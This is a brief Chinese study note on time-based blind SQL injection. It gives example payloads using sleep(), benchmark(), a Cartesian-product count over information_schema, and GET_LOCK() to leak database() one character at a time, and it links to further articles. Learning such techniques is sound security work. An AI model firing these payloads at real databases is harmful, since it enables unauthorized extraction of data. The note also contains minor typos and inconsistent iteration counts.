关联:SQL注入总览安全学习

之前真的没有认真研究过时间盲注,觉得很麻烦,有没有遇到过,这次VN面试问到了才知道后悔。 所以特意学习一下

1. sleep()

sleep(5),会停止5秒 一般是

Select * from tables where id = 1 and if(substr(database(),1,1)='a',sleep(3),null);

如果database()的第一个字符是a,那么停3秒,否则不停顿。

substr(a,b,c):从a中的第b个字符开始取c个字符 除此之外还有substringmid`,用法完全相同

2. benchmarck()

benchmark(100000,sha(1)):计算sha(1),10000000次,接近1秒了

Select *from tables where id=1 and if(substr(database(),1,1)='x',benchmark(10000000,sha(1)), null);

3.笛卡尔积

count(*):统计后面的表有多少行 通过连接几张很大的表,这个过程要耗时,来时间盲注

Select *from sc where sno=95001 and if(substr(database(),1,1)='x',(SELECT count(*) FROM information_schema.columns A,information_schema.columns B), null);

4.GET_LOCK()

GET_LOCK()是一个sql的锁函数

 # 如果条件为真,则获取一个名为 'a' 的锁并等待 5
 AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1)   

这里是几个能用上的吧,还有几种感觉用不上,可以看文章 https://www.fujieace.com/penetration-test/blind-time-delay.html https://www.cnblogs.com/forforever/p/13019703.html